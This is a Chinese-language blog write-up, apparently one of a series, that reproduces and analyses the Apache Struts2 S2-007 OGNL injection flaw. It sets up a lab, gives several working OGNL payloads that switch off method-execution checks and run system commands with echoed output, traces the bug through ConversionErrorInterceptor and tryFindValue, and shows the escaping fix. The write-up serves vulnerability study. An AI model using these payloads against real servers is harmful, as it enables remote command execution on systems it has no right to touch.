前言   经典 Java 软件漏洞 struts 系列,准备一个个看过去。
S2-006 跳过了,因为它的描述太简陋了,无法复现出漏洞环境,以后有空或许会从源码层面再看一看。
 
 
环境搭建 2.2.1 版本 struts2 + tomcat9,给 Action 加上一个 int 类型的成员,修改传值的表单,再添加一个 input 的 result。
漏洞利用 在定义为 int 的成员对应的输入框处输入 OGNL 表达式:
 
可以看到打印出了很多运行和配置的信息,贴几个借的执行命令和回显的表达式,也可以借鉴前面的 S2-003/S2-005 的 payload,这里贴几个借的 payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 # 弹计算器 '+(#context ["xwork.MethodAccessor.denyMethodExecution" ]=false,@java.lang.Runtime @getRuntime().exec("deepin-calculator" ))+' '+(#_memberAccess ["allowStaticMethodAccess" ]=true,#context ["xwork.MethodAccessor.denyMethodExecution" ]=false,@java.lang.Runtime @getRuntime().exec("deepin-calculator" ))+' # 获取绝对路径 '+(#context ["xwork.MethodAccessor.denyMethodExecution" ]=false,#req =@org.apache.struts2.ServletActionContext@getRequest(),#response =#context .get("com.opensymphony.xwork2.dispatcher.HttpServletResponse" ).getWriter().write(#req .getRealPath('/')))+' '+(#_memberAccess ["allowStaticMethodAccess" ]=true,#context ["xwork.MethodAccessor.denyMethodExecution" ]=false,#req =@org.apache.struts2.ServletActionContext@getRequest(),#response =#context .get("com.opensymphony.xwork2.dispatcher.HttpServletResponse" ).getWriter().write(#req .getRealPath('/')))+' # 执行系统命令并回显 '+(#context ["xwork.MethodAccessor.denyMethodExecution" ]=false,#response =#context .get("com.opensymphony.xwork2.dispatcher.HttpServletResponse" ).getWriter().write(new java.util.Scanner(@java.lang.Runtime @getRuntime().exec('ifconfig').getInputStream()).useDelimiter("\\Z" ).next()))+' '+(#_memberAccess ["allowStaticMethodAccess" ]=true,#context ["xwork.MethodAccessor.denyMethodExecution" ]=false,#response =#context .get("com.opensymphony.xwork2.dispatcher.HttpServletResponse" ).getWriter().write(new java.util.Scanner(@java.lang.Runtime @getRuntime().exec('ifconfig').getInputStream()).useDelimiter("\\Z" ).next()))+'
 
漏洞分析 根据漏洞公告 ,漏洞场景是在发生类型转换时,会将用户输入当作 OGNL 表达式来执行,比如上面漏洞利用中使用的字符串就无法转换为需要的 int 类型而导致错误。详细的漏洞报告 里面说漏洞发生在 ConversionErrorInterceptor 类和 RepopulateConversionErrorFieldValidatorSupport 类中,在实际调试中,漏洞发生在 ConversionErrorInterceptor  类的 intercept 方法中:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 @Override public  String intercept (ActionInvocation invocation)  throws  Exception {     ActionContext  invocationContext  =  invocation.getInvocationContext();     Map<String, Object> conversionErrors = invocationContext.getConversionErrors();     ValueStack  stack  =  invocationContext.getValueStack();     HashMap<Object, Object> fakie = null ;     for  (Map.Entry<String, Object> entry : conversionErrors.entrySet()) {         String  propertyName  =  entry.getKey();         Object  value  =  entry.getValue();         if  (shouldAddError(propertyName, value)) {             String  message  =  XWorkConverter.getConversionErrorMessage(propertyName, stack);             Object  action  =  invocation.getAction();             if  (action instanceof  ValidationAware) {                 ValidationAware  va  =  (ValidationAware) action;                 va.addFieldError(propertyName, message);             }             if  (fakie == null ) {             	fakie = new  HashMap <Object, Object>();             }             fakie.put(propertyName, getOverrideExpr(invocation, value));         }     }     if  (fakie != null ) {                  stack.getContext().put(ORIGINAL_PROPERTY_OVERRIDE, fakie);         invocation.addPreResultListener(new  PreResultListener () {         	public  void  beforeResult (ActionInvocation invocation, String resultCode)  {                 Map<Object, Object> fakie = (Map<Object, Object>) invocation.getInvocationContext().get(ORIGINAL_PROPERTY_OVERRIDE);                 if  (fakie != null ) {                 	invocation.getStack().setExprOverrides(fakie);                 }             }         });     }     return  invocation.invoke(); }
 
如果发生了类型转换错误,哈希表 conversionErrors 中就会保存转换前的用户输入,即表示名的 propertyName 和变量值的 value,然后会执行:
1 shouldAddError(propertyName, value)
 
来判断是否添加这个错误,而:
1 2 3 protected  boolean  shouldAddError (String propertyName, Object value)  { 	return  true ; }
 
这个函数的返回值用为 true,所以会执行:
1 fakie.put(propertyName, getOverrideExpr(invocation, value));
 
将他们放入一个新的哈希表 fakie 中,而 getOverrideExpr 是一个拼接字符串的操作:
1 2 3 protected  Object getOverrideExpr (ActionInvocation invocation, Object value)  { 	return  "'"  + value + "'" ; }
 
给输入拼上了前后两个单引号,所以漏洞利用时要进行闭合。
最后添加一个 PreResult 监听器(看名字是在渲染 Action 的 result 之前触发),并将 fakie 保存起来:
1 invocation.getStack().setExprOverrides(fakie);
 
接下来找找什么时候会用到,先看看 setExprOverrides 的处理:
1 2 3 4 5 6 7 public  void  setExprOverrides (Map<Object, Object> overrides)  {     if  (this .overrides == null ) {     	this .overrides = overrides;     } else  {     	this .overrides.putAll(overrides);     } }
 
看名字 overrides,推测这个错误信息应该是用在渲染模板时的,因为类型转换失败,所以调用成员的 setter 必然是失败的,而渲染模板可能还需要这个成员,所以将原始输入保存起来,渲染模板时可以以成员名作为键访问。
根据变量名 overrides 找到 lookupForOverrides 方法:
1 2 3 4 5 6 private  String lookupForOverrides (String expr)  {     if  ((overrides != null ) && overrides.containsKey(expr)) {     	expr = (String) overrides.get(expr);     }     return  expr; }
 
然后断点,找到将其作为表达式执行的 tryFindValue 方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 private  Object tryFindValue (String expr, Class asType)  throws  OgnlException {     Object  value  =  null ;     try  {         expr = lookupForOverrides(expr);         value = getValue(expr, asType);         if  (value == null ) {         	value = findInContext(expr);     	}     } finally  {     	context.remove(THROW_EXCEPTION_ON_FAILURE);     }     return  value; }
 
可以看到将找到的原始输入当作表达式又执行了一遍,触发了漏洞。
漏洞修复 拼接单引号的时候加了点料:
1 2 3 4 5 6 7 protected  Object getOverrideExpr (ActionInvocation invocation, Object value)  { 	return  escape(value); }protected  String escape (Object value)  {     return  "\""  + StringEscapeUtils.escapeJava(String.valueOf(value)) + "\"" ; }
 
做了过滤,具体的可以看 StringEscapeUtils 类的 escapeJavaStyleString 方法。
 
参考文章:
https://xz.aliyun.com/t/7971